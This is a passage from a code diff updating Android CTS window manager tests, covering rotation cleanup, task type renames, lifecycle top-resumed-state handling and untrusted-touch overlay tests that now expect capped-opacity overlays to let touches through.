         getInstrumentation().waitForIdleSync();
 
@@ -865,4 +904,11 @@
             dialog.show();
         }
     }
+
+    private <R> R getOnMainSync(Supplier<R> f) {
+        final Object[] result = new Object[1];
+        getInstrumentation().runOnMainSync(() -> result[0] = f.get());
+        //noinspection unchecked
+        return (R) result[0];
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index dbbb4fd..a3b504e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -88,6 +88,11 @@
             new ActivityTestRule<>(ImmersiveFullscreenTestActivity.class,
                     false /* initialTouchMode */, false /* launchActivity */);
 
+    @Rule
+    public final ActivityTestRule<NaturalOrientationTestActivity> mNaturalOrientationTestActivity =
+            new ActivityTestRule<>(NaturalOrientationTestActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
     @Before
     @Override
     public void setUp() throws Exception {
@@ -124,6 +129,7 @@
         assumeTrue("Skipping test: no split multi-window support",
                 supportsSplitScreenMultiWindow());
 
+        launchAndWait(mNaturalOrientationTestActivity);
         mWmState.computeState(new ComponentName[] {});
         final boolean naturalOrientationPortrait =
                 mWmState.getDisplay(DEFAULT_DISPLAY)
@@ -356,4 +362,7 @@
                     | View.SYSTEM_UI_FLAG_FULLSCREEN);
         }
     }
+
+    public static class NaturalOrientationTestActivity extends TestActivity {
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
index f607001..df3f9e3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.view.Display.DEFAULT_DISPLAY;
@@ -56,6 +57,11 @@
         return startActivity(cls, DEFAULT_DISPLAY, true /* hasFocus */, windowingMode);
     }
 
+    static <T extends FocusableActivity> T startActivityInWindowingModeFullScreen(
+            Class<T> cls) {
+        return startActivity(cls, DEFAULT_DISPLAY, true /* hasFocus */, WINDOWING_MODE_FULLSCREEN);
+    }
+
     static <T extends FocusableActivity> T startActivity(Class<T> cls, int displayId,
             boolean hasFocus, int windowingMode) {
         final Bundle options;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
index c656d22..fe7ded2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
@@ -34,7 +34,6 @@
 import android.app.Activity;
 import android.app.PictureInPictureParams;
 import android.content.ComponentName;
-import android.content.Context;
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.os.Bundle;
@@ -47,6 +46,7 @@
 import androidx.test.filters.FlakyTest;
 
 import org.junit.Test;
+import java.util.function.Supplier;
 
 /**
  * Tests that verify the behavior of {@link WindowMetrics} APIs on {@link Activity activities}.
@@ -129,7 +129,7 @@
     private void waitForEnterPipAnimationComplete(ComponentName activityName) {
         waitForEnterPip(activityName);
         mWmState.waitForWithAmState(wmState -> {
-            WindowManagerState.ActivityTask task = wmState.getTaskByActivity(activityName);
+            WindowManagerState.Task task = wmState.getTaskByActivity(activityName);
             if (task == null) {
                 return false;
             }
@@ -145,7 +145,7 @@
      */
     private void waitForEnterPip(ComponentName activityName) {
         mWmState.waitForWithAmState(wmState -> {
-            WindowManagerState.ActivityTask task = wmState.getTaskByActivity(activityName);
+            WindowManagerState.Task task = wmState.getTaskByActivity(activityName);
             return task != null && task.getWindowingMode() == WINDOWING_MODE_PINNED;
         }, "checking task windowing mode");
     }
@@ -203,7 +203,6 @@
         // Resize the freeform activity.
         resizeActivityTask(activity.getComponentName(), WINDOW_BOUNDS.left, WINDOW_BOUNDS.top,
                 WINDOW_BOUNDS.right, WINDOW_BOUNDS.bottom);
-        mWmState.computeState(activity.getComponentName());
 
         assertMetricsMatchesLayout(activity);
 
@@ -211,7 +210,6 @@
         resizeActivityTask(activity.getComponentName(), RESIZED_WINDOW_BOUNDS.left,
                 RESIZED_WINDOW_BOUNDS.top, RESIZED_WINDOW_BOUNDS.right,
                 RESIZED_WINDOW_BOUNDS.bottom);
-        mWmState.computeState(activity.getComponentName());
 
         assertMetricsMatchesLayout(activity);
 
@@ -219,7 +217,6 @@
         resizeActivityTask(activity.getComponentName(), MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.left,
                 MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.top, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.right,
                 MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.bottom);
-        mWmState.computeState(activity.getComponentName());
 
         assertMetricsMatchesLayout(activity);
     }
@@ -261,19 +258,21 @@
         final OnLayoutChangeListener listener = activity.mListener;
         listener.waitForLayout();
 
-        final WindowMetrics currentMetrics = activity.getWindowManager().getCurrentWindowMetrics();
-        final WindowMetrics maxMetrics = activity.getWindowManager().getMaximumWindowMetrics();
+        final Supplier<WindowMetrics> currentMetrics =
+                () -> activity.getWindowManager().getCurrentWindowMetrics();
+        final Supplier<WindowMetrics> maxMetrics =
+                () -> activity.getWindowManager().getMaximumWindowMetrics();
 
         Condition.waitFor(new Condition<>("WindowMetrics must match layout metrics",
-                () -> currentMetrics.getBounds().equals(listener.getLayoutBounds()))
+                () -> currentMetrics.get().getBounds().equals(listener.getLayoutBounds()))
                 .setRetryIntervalMs(500).setRetryLimit(10)
                 .setOnFailure(unused -> fail("WindowMetrics must match layout metrics. Layout"
                         + "bounds is" + listener.getLayoutBounds() + ", while current window"
-                        + "metrics is " + currentMetrics.getBounds())));
+                        + "metrics is " + currentMetrics.get().getBounds())));
 
         final boolean isFreeForm = activity.getResources().getConfiguration().windowConfiguration
                 .getWindowingMode() == WINDOWING_MODE_FREEFORM;
-        WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics, maxMetrics,
+        WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics.get(), maxMetrics.get(),
                 listener.getLayoutBounds(), listener.getLayoutInsets(), isFreeForm);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
index 0438fd1..0791f78 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
@@ -109,6 +109,10 @@
     private ProjectedPresentation mPresentation;
     private VirtualDisplay mVirtualDisplay;
 
+    /** Used by {@link #setMayAffectDisplayRotation()}. */
+    private WindowManagerStateHelper mWmState;
+    private int mOriginalRotation = -1;
+
     @Rule
     public ActivityTestRule<WindowCtsActivity> mActivityRule =
             new ActivityTestRule<>(WindowCtsActivity.class);
@@ -130,10 +134,17 @@
     }
 
     @After
-    public void teardown() {
+    public void tearDown() {
         if (mActivity != null) {
             mActivity.setFlagFalse();
         }
+        if (mOriginalRotation >= 0) {
+            // The test might launch an activity that changes display rotation. Finish the
+            // activity explicitly and wait for the original rotation to avoid the rotation
+            // affects the next test.
+            mActivityRule.finishActivity();
+            mWmState.waitForRotation(mOriginalRotation);
+        }
     }
 
     @UiThreadTest
@@ -665,6 +676,7 @@
     @Test
     public void testSetFitsContentForInsets_displayCutoutInsets_areApplied()
             throws Throwable {
+        setMayAffectDisplayRotation();
         mActivityRule.runOnUiThread(() -> {
             mActivity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
             mWindow.setDecorFitsSystemWindows(true);
@@ -799,6 +811,16 @@
         window.injectInputEvent(upEvent);
     }
 
+    /**
+     * Stores the current rotation of device so {@link #tearDown()} can wait for the device to
+     * restore to its previous rotation.
+     */
+    private void setMayAffectDisplayRotation() {
+        mWmState = new WindowManagerStateHelper();
+        mWmState.computeState();
+        mOriginalRotation = mWmState.getRotation();
+    }
+
     private void createPresentation(final Surface surface, final int width,
             final int height) {
         DisplayManager displayManager =
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
index dcd453c..a4c163a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
@@ -18,10 +18,12 @@
 
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
+import static android.provider.Settings.Secure.IMMERSIVE_MODE_CONFIRMATIONS;
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOKEN;
+import static android.view.WindowInsets.Type.navigationBars;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -36,6 +38,7 @@
 import android.app.ActivityOptions;
 import android.app.Instrumentation;
 import android.app.NotificationManager;
+import android.app.WindowConfiguration;
 import android.content.ComponentName;
 import android.content.ContentResolver;
 import android.content.Context;
@@ -53,6 +56,7 @@
 import android.provider.Settings;
 import android.server.wm.overlay.Components;
 import android.server.wm.overlay.R;
+import android.server.wm.settings.SettingsSession;
 import android.server.wm.shared.BlockingResultReceiver;
 import android.server.wm.shared.IUntrustedTouchTestService;
 import android.util.ArrayMap;
@@ -67,13 +71,15 @@
 
 import androidx.annotation.AnimRes;
 import androidx.annotation.Nullable;
-import androidx.test.rule.ActivityTestRule;
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
 
 import com.android.compatibility.common.util.AppOpsUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
+import org.junit.AfterClass;
 import org.junit.Before;
+import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
@@ -127,6 +133,8 @@
     private static final String SETTING_MAXIMUM_OBSCURING_OPACITY =
             "maximum_obscuring_opacity_for_touch";
 
+    private static SettingsSession<String> sImmersiveModeConfirmationSetting;
+
     private final WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
     private final Map<String, FutureConnection<IUntrustedTouchTestService>> mConnections =
             new ArrayMap<>();
@@ -153,13 +161,40 @@
     public TestName testNameRule = new TestName();
 
     @Rule
-    public ActivityTestRule<TestActivity> activityRule = new ActivityTestRule<>(TestActivity.class);
+    public ActivityScenarioRule<TestActivity> activityRule =
+            new ActivityScenarioRule<>(TestActivity.class);
+
+    @BeforeClass
+    public static void setUpClass() {
+        sImmersiveModeConfirmationSetting = new SettingsSession<>(
+                Settings.Secure.getUriFor(IMMERSIVE_MODE_CONFIRMATIONS),
+                Settings.Secure::getString, Settings.Secure::putString);
+        sImmersiveModeConfirmationSetting.set("confirmed");
+    }
+
+    @AfterClass
+    public static void tearDownClass() {
+        if (sImmersiveModeConfirmationSetting != null) {
+            sImmersiveModeConfirmationSetting.close();
+        }
+    }
 
     @Before
     public void setUp() throws Exception {
-        mActivity = activityRule.getActivity();
-        mContainer = mActivity.view;
-        mContainer.setOnTouchListener(this::onTouchEvent);
+        ActivityOptions options = ActivityOptions.makeBasic();
+        // Launch test in the fullscreen mode with navigation bar hidden,
+        // in order to ensure text toast is tappable and overlays above the test app
+        // on ARC++ and cf_pc devices. b/191075641.
+        options.setLaunchWindowingMode(WindowConfiguration.WINDOWING_MODE_FULLSCREEN);
+        activityRule.getScenario().launch(TestActivity.class, options.toBundle())
+                .onActivity(activity -> {
+            mActivity = activity;
+            mContainer = mActivity.view;
+            // On ARC++, text toast is fixed on the screen. Its position may overlays the navigation
+            // bar. Hide it to ensure the text toast overlays the app. b/191075641
+            mContainer.getWindowInsetsController().hide(navigationBars());
+            mContainer.setOnTouchListener(this::onTouchEvent);
+        });
         mInstrumentation = getInstrumentation();
         mContext = mInstrumentation.getContext();
         mResources = mContext.getResources();
@@ -309,12 +344,13 @@
     /** SAWs */
 
     @Test
-    public void testWhenOneSawWindowAboveThreshold_blocksTouch() throws Throwable {
+    public void testWhenOneSawWindowAboveThreshold_allowsTouch() throws Throwable {
         addSawOverlay(APP_A, WINDOW_1, .9f);
 
         mTouchHelper.tapOnViewCenter(mContainer);
 
-        assertTouchNotReceived();
+        // Opacity will be automatically capped and touches will pass through.
+        assertTouchReceived();
     }
 
     @Test
@@ -380,14 +416,15 @@
     }
 
     @Test
-    public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_blocksTouch()
+    public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_allowsTouch()
             throws Throwable {
         addSawOverlay(APP_A, WINDOW_1, .9f);
         addSawOverlay(APP_SELF, WINDOW_1, .7f);
 
         mTouchHelper.tapOnViewCenter(mContainer);
 
-        assertTouchNotReceived();
+        // Opacity will be automatically capped and touches will pass through.
+        assertTouchReceived();
     }
 
     @Test
@@ -426,14 +463,15 @@
     }
 
     @Test
-    public void testWhenThresholdIs0AndSawWindowAboveThreshold_blocksTouch()
+    public void testWhenThresholdIs0AndSawWindowAboveThreshold_allowsTouch()
             throws Throwable {
         setMaximumObscuringOpacityForTouch(0);
         addSawOverlay(APP_A, WINDOW_1, .1f);
 
         mTouchHelper.tapOnViewCenter(mContainer);
 
-        assertTouchNotReceived();
+        // Opacity will be automatically capped and touches will pass through.
+        assertTouchReceived();
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
index 32bc18e..678b7dd 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
@@ -75,7 +75,7 @@
      * The activities that were already present in the system when the test started.
      * So they can be removed form the outputs, otherwise our tests would be system dependent.
      */
-    private List<WindowManagerState.ActivityTask> mBaseTasks;
+    private List<WindowManagerState.Task> mBaseTasks;
 
     public LaunchRunner(IntentTestBase testBase) {
         mTestBase = testBase;
@@ -303,7 +303,7 @@
         // lifecycle state. wait an extra 3 seconds for it to settle
         SystemClock.sleep(BEFORE_DUMP_TIMEOUT);
         mTestBase.getWmState().computeState(activity.getComponentName());
-        List<WindowManagerState.ActivityTask> endStateTasks =
+        List<WindowManagerState.Task> endStateTasks =
                 mTestBase.getWmState().getRootTasks();
         return StateDump.fromTasks(endStateTasks, mBaseTasks);
     }
@@ -326,7 +326,7 @@
                 "the activity states match up with what we recorded");
         mTestBase.getWmState().computeState(activity.getComponentName());
 
-        List<WindowManagerState.ActivityTask> endStateTasks =
+        List<WindowManagerState.Task> endStateTasks =
                 mTestBase.getWmState().getRootTasks();
 
         endStateTasks = endStateTasks.stream()
@@ -336,7 +336,7 @@
         return StateDump.fromTasks(endStateTasks, mBaseTasks);
     }
 
-    private List<WindowManagerState.ActivityTask> getBaseTasks() {
+    private List<WindowManagerState.Task> getBaseTasks() {
         WindowManagerStateHelper amWmState = mTestBase.getWmState();
         amWmState.computeState(new ComponentName[]{});
         return amWmState.getRootTasks();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Persistence.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Persistence.java
index 457e709..47e1ac4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Persistence.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Persistence.java
@@ -453,10 +453,10 @@
          */
         private final List<TaskState> mTasks;
 
-        public static StateDump fromTasks(List<WindowManagerState.ActivityTask> activityTasks,
-                List<WindowManagerState.ActivityTask> baseStacks) {
+        public static StateDump fromTasks(List<WindowManagerState.Task> activityTasks,
+                List<WindowManagerState.Task> baseStacks) {
             List<TaskState> tasks = new ArrayList<>();
-            for (WindowManagerState.ActivityTask task : trimTasks(activityTasks, baseStacks)) {
+            for (WindowManagerState.Task task : trimTasks(activityTasks, baseStacks)) {
                 tasks.add(new TaskState(task));
             }
             return new StateDump(tasks);
@@ -491,11 +491,11 @@
          * in the system before recording, by their ID. For example a task containing the launcher
          * activity.
          */
-        public static List<WindowManagerState.ActivityTask> trimTasks(
-                List<WindowManagerState.ActivityTask> toTrim,
-                List<WindowManagerState.ActivityTask> trimFrom) {
+        public static List<WindowManagerState.Task> trimTasks(
+                List<WindowManagerState.Task> toTrim,
+                List<WindowManagerState.Task> trimFrom) {
 
-            for (WindowManagerState.ActivityTask task : trimFrom) {
+            for (WindowManagerState.Task task : trimFrom) {
                 toTrim.removeIf(t -> t.getRootTaskId() == task.getRootTaskId());
             }
 
@@ -547,7 +547,7 @@
             mResumedActivity = resumedActivity;
         }
 
-        public TaskState(WindowManagerState.ActivityTask state) {
+        public TaskState(WindowManagerState.Task state) {
             final String resumedActivity = state.getResumedActivity();
             mResumedActivity = resumedActivity != null ? resumedActivity : "";
             for (WindowManagerState.Activity activity : state.getActivities()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index 71b45f3..4f010a6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -54,13 +54,12 @@
 import android.os.Looper;
 import android.server.wm.MultiDisplayTestBase;
 import android.server.wm.ObjectTracker;
+import android.server.wm.cts.R;
 import android.server.wm.lifecycle.LifecycleLog.ActivityCallback;
 import android.transition.Transition;
 import android.transition.TransitionListenerAdapter;
 import android.util.Pair;
 
-import android.server.wm.cts.R;
-
 import androidx.annotation.NonNull;
 import androidx.test.rule.ActivityTestRule;
 
@@ -93,6 +92,11 @@
     static final String EXTRA_START_ACTIVITY_IN_ON_CREATE = "start_activity_in_on_create";
     static final String EXTRA_START_ACTIVITY_WHEN_IDLE = "start_activity_when_idle";
     static final String EXTRA_ACTIVITY_ON_USER_LEAVE_HINT = "activity_on_user_leave_hint";
+    /**
+     * Use this flag to skip recording top resumed state to avoid affecting verification.
+     * @see Launcher#setSkipTopResumedStateCheck()
+     */
+    static final String EXTRA_SKIP_TOP_RESUMED_STATE = "skip_top_resumed_state";
 
     static final ComponentName CALLBACK_TRACKING_ACTIVITY =
             getComponentName(CallbackTrackingActivity.class);
@@ -120,6 +124,11 @@
 
         // Track transitions and allow waiting for pending activity states.
         mLifecycleTracker = new LifecycleTracker(mLifecycleLog);
+
+        // Some lifecycle tracking activities that have not been destroyed may affect the
+        // verification of next test because of the lifecycle log. We need to wait them to be
+        // destroyed in tearDown.
+        mShouldWaitForAllNonHomeActivitiesToDestroyed = true;
     }
 
     /** Activity launch builder for lifecycle tests. */
@@ -132,6 +141,7 @@
         private boolean mNoInstance;
         private final Class<? extends Activity> mActivityClass;
         private boolean mSkipLaunchTimeCheck;
+        private boolean mSkipTopResumedStateCheck;
 
         private boolean mLaunchCalled = false;
 
@@ -160,6 +170,9 @@
             for (String flag : mExtraFlags) {
                 intent.putExtra(flag, true);
             }
+            if (mSkipTopResumedStateCheck) {
+                intent.putExtra(EXTRA_SKIP_TOP_RESUMED_STATE, true);
+            }
             if (mPostIntentSetup != null) {
                 mPostIntentSetup.accept(intent);
             }
@@ -180,8 +193,9 @@
             }
             // Wait for activity to reach the desired state and verify launch time.
             if (mExpectedState == null) {
-                mExpectedState = CallbackTrackingActivity.class.isAssignableFrom(mActivityClass)
-                        ? ON_TOP_POSITION_GAINED : ON_RESUME;
+                mExpectedState = mSkipTopResumedStateCheck
+                        || !CallbackTrackingActivity.class.isAssignableFrom(mActivityClass)
+                        ? ON_RESUME : ON_TOP_POSITION_GAINED;
             }
             waitAndAssertActivityStates(state(mActivityClass, mExpectedState));
             if (!mSkipLaunchTimeCheck) {
@@ -240,6 +254,16 @@
             return this;
         }
 
+        /**
+         * There is no guarantee that an activity will get top resumed state, especially if it
+         * finishes itself in onResumed(), like a trampoline activity. Set to skip recording
+         * top resumed state to avoid affecting verification.
+         */
+        Launcher setSkipTopResumedStateCheck() {
+            mSkipTopResumedStateCheck = true;
+            return this;
+        }
+
         @Override
         public boolean isConsumed() {
             return mLaunchCalled;
@@ -483,12 +507,15 @@
         protected void onNewIntent(Intent intent) {
             super.onNewIntent(intent);
             mLifecycleLogClient.onActivityCallback(ON_NEW_INTENT);
+            setIntent(intent);
         }
 
         @Override
         public void onTopResumedActivityChanged(boolean isTopResumedActivity) {
-            mLifecycleLogClient.onActivityCallback(
-                    isTopResumedActivity ? ON_TOP_POSITION_GAINED : ON_TOP_POSITION_LOST);
+            if (!getIntent().getBooleanExtra(EXTRA_SKIP_TOP_RESUMED_STATE, false)) {
+                mLifecycleLogClient.onActivityCallback(
+                        isTopResumedActivity ? ON_TOP_POSITION_GAINED : ON_TOP_POSITION_LOST);
+            }
         }
 
         @Override
@@ -551,10 +578,12 @@
         boolean mReceivedResultOk;
 
         /** Adds the flag to the extra of intent which will forward to {@link ResultActivity}. */
-        static Consumer<Intent> forwardFlag(String flag) {
+        static Consumer<Intent> forwardFlag(String... flags) {
             return intent -> {
                 final Bundle data = new Bundle();
-                data.putBoolean(flag, true);
+                for (String f : flags) {
+                    data.putBoolean(f, true);
+                }
                 intent.putExtra(EXTRA_FORWARD_EXTRAS, data);
             };
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
index d39e174..5d16f83 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
@@ -39,7 +39,6 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
-import android.app.ActivityOptions;
 import android.app.Instrumentation;
 import android.app.WindowConfiguration;
 import android.content.Intent;
@@ -133,13 +132,9 @@
         // Launch an activity that will be moved to split-screen secondary
         final Activity sideActivity = launchActivityAndWait(ThirdActivity.class);
 
-        ActivityOptions options = ActivityOptions.makeBasic();
-        options.setLaunchWindowingMode(WindowConfiguration.WINDOWING_MODE_FULLSCREEN);
-
         // Launch an activity in a new task
         final Activity firstActivity = new Launcher(FirstActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .setOptions(options)
                 .launch();
 
         // Enter split screen
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index a3cfcbf..54cc744 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -22,9 +22,9 @@
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION;
+import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.WindowManagerState.STATE_PAUSED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
-import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.LaunchForResultActivity.EXTRA_LAUNCH_ON_RESULT;
 import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.LaunchForResultActivity.EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT;
 import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.NoDisplayActivity.EXTRA_LAUNCH_ACTIVITY;
@@ -59,7 +59,6 @@
 import android.content.pm.ActivityInfo;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 
 import com.android.compatibility.common.util.AmUtils;
@@ -317,21 +316,16 @@
                 transition(LaunchForResultActivity.class, ON_START),
                 transition(LaunchForResultActivity.class, ON_POST_CREATE),
                 transition(LaunchForResultActivity.class, ON_RESUME),
-                transition(LaunchForResultActivity.class, ON_TOP_POSITION_GAINED),
                 // An activity is automatically launched for result.
-                transition(LaunchForResultActivity.class, ON_TOP_POSITION_LOST),
                 transition(LaunchForResultActivity.class, ON_PAUSE),
                 transition(ResultActivity.class, ON_CREATE),
                 transition(ResultActivity.class, ON_START),
                 transition(ResultActivity.class, ON_RESUME),
-                transition(ResultActivity.class, ON_TOP_POSITION_GAINED),
                 // Activity that was launched for result is finished automatically - the base
                 // launching activity is brought to front.
                 transition(LaunchForResultActivity.class, ON_ACTIVITY_RESULT),
                 transition(LaunchForResultActivity.class, ON_RESUME),
-                transition(LaunchForResultActivity.class, ON_TOP_POSITION_GAINED),
                 // New activity is launched after receiving result in base activity.
-                transition(LaunchForResultActivity.class, ON_TOP_POSITION_LOST),
                 transition(LaunchForResultActivity.class, ON_PAUSE),
                 transition(CallbackTrackingActivity.class, ON_CREATE),
                 transition(CallbackTrackingActivity.class, ON_START),
@@ -562,7 +556,7 @@
         final List<LifecycleLog.ActivityCallback> expectedSequence =
                 Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
                         ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
-                        ON_ACTIVITY_RESULT, ON_RESTART, ON_START, ON_RESUME,
+                        ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME,
                         ON_TOP_POSITION_GAINED);
         LifecycleVerifier.assertSequence(LaunchForwardResultActivity.class, getLifecycleLog(),
                 expectedSequence, "becomingVisibleResumed");
@@ -571,35 +565,23 @@
     @Test
     public void testOnActivityResult() throws Exception {
         new Launcher(LaunchForResultActivity.class)
-                .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
+                .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME,
+                        EXTRA_SKIP_TOP_RESUMED_STATE))
+                .setSkipTopResumedStateCheck()
                 .launch();
 
         final List<LifecycleLog.ActivityCallback> expectedSequence =
                 Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST,
-                        ON_PAUSE, ON_ACTIVITY_RESULT, ON_RESUME, ON_TOP_POSITION_GAINED);
+                        ON_PAUSE, ON_ACTIVITY_RESULT, ON_RESUME);
         waitForActivityTransitions(LaunchForResultActivity.class, expectedSequence);
 
         // TODO(b/79218023): First activity might also be stopped before getting result.
         final List<LifecycleLog.ActivityCallback> sequenceWithStop =
                 Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST,
-                        ON_PAUSE, ON_STOP, ON_ACTIVITY_RESULT, ON_RESTART, ON_START, ON_RESUME,
-                        ON_TOP_POSITION_GAINED);
-        final List<LifecycleLog.ActivityCallback> thirdSequence =
-                Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST,
-                        ON_PAUSE, ON_STOP, ON_ACTIVITY_RESULT, ON_RESTART, ON_START, ON_RESUME,
-                        ON_TOP_POSITION_GAINED);
-        final List<LifecycleLog.ActivityCallback> fourthSequence =
-                Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST,
-                        ON_PAUSE, ON_STOP, ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME,
-                        ON_TOP_POSITION_GAINED);
+                        ON_PAUSE, ON_STOP, ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME);
         LifecycleVerifier.assertSequenceMatchesOneOf(LaunchForResultActivity.class,
                 getLifecycleLog(),
-                Arrays.asList(expectedSequence, sequenceWithStop, thirdSequence, fourthSequence),
-                "activityResult");
+                Arrays.asList(expectedSequence, sequenceWithStop), "activityResult");
     }
 
     @Test
@@ -612,6 +594,7 @@
                 // TODO (b/127741025) temporarily use setNoInstance, because startActivitySync will
                 // cause launch timeout when more than 2 activities start consecutively.
                 .setNoInstance()
+                .setSkipTopResumedStateCheck()
                 .setExpectedState(ON_STOP)
                 .launch();
         final Activity activity = getInstrumentation()
@@ -624,28 +607,17 @@
 
         final boolean isTranslucent = isTranslucent(activity);
 
-        final List<List<LifecycleLog.ActivityCallback>> expectedSequences;
+        final List<LifecycleLog.ActivityCallback> expectedSequences;
         if (isTranslucent) {
-            expectedSequences = Arrays.asList(
-                    Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                            ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE,
